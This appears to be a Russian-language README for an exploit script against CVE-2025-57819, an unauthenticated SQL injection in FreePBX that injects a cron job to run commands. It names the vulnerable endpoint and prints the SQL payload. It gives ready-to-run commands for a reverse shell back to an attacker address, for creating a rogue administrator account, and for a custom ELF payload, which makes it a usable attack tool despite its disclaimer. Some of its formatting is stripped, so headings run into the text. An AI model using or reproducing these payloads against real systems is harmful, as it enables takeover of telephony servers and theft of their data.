
FreePBX Pre-Auth SQLi to RCE (CVE-2025-57819) — Эксплойт «всё в одном»
Универсальный эксплойт для CVE-2025-57819, неаутентифицированная SQL-инъекция в модуле endpoint FreePBX, которая приводит к удаленному выполнению кода через внедрение задачи cron.
FreePBX предоставляет конечную точку admin/ajax.php?module=FreePBX\modules\endpoint\ajax без необходимости аутентификации (CWE-288). Параметр brand передается напрямую в SQL-запросы без очистки (CWE-89), что позволяет злоумышленнику внедрять произвольные SQL-операторы в базу данных asterisk.
[Unauthenticated HTTP request]
│
▼
admin/ajax.php?module=FreePBX\...\ajax&command=model&brand=<SQLi>
│
▼
SQL Injection into `cron_jobs` table
(INSERT with attacker-controlled command, schedule="* * * * *")
│
▼
Within ~60 seconds, the cron daemon executes the command as the `asterisk` user
│
▼
Remote Code Execution
Этот эксплойт поддерживает три режима:
linux/x64/shell_reverse_tcp через msfvenompython3 cve_2025_57819_aio.py <target_url> <lhost> <lport>
Пример:
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452
Это использует порт 4452 для обратной оболочки и 4453 для HTTP-сервера этапа.
--create-user)Создает новую учетную запись администратора FreePBX через SQLi. Не требуется обратная оболочка, обратная связь или бинарные файлы.
python3 cve_2025_57819_aio.py http://freepbx.internal --create-user
--payload <path>)Используйте собственный бинарный файл ELF вместо генерации с помощью msfvenom.
python3 cve_2025_57819_aio.py http://freepbx.internal 10.10.14.85 4452 \
--payload /path/to/custom_shell.elf
requests (pip install requests)msfvenom) или пользовательский payload с --payload--create-user: Ничего, кроме Python + requestsУязвимая конечная точка:
GET /admin/ajax.php?module=FreePBX\modules\endpoint\ajax&command=model&template=XXX&model=XXX&brand=<SQLi>
Параметр brand конкатенируется в SQL INSERT без очистки. Эксплойт формирует инъекцию следующим образом:
';INSERT INTO cron_jobs (modulename,jobname,command,...) VALUES ('X','Y','<CMD>',NULL,'* * * * *',30,1,1) --
Замыкающий -- комментирует остаток исходного запроса.
FreePBX использует подсистему cron Asterisk. Задачи cron проверяются каждую минуту. Когда расписание вставленной задачи (* * * * *) совпадает, команда выполняется от имени системного пользователя asterisk.
После завершения сессии (или по тайм-ауту) эксплойт отправляет DELETE SQLi для удаления внедренной задачи cron из cron_jobs.
asterisk.cron_jobs со случайными именами модулей/задачasteriskampusers (если режим --create-user)Обновите модуль endpoint до исправленных версий:
Данное программное обеспечение предоставляется только для образовательных и авторизованных целей тестирования безопасности. Несанкционированное использование против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несет ответственности за любое неправомерное использование.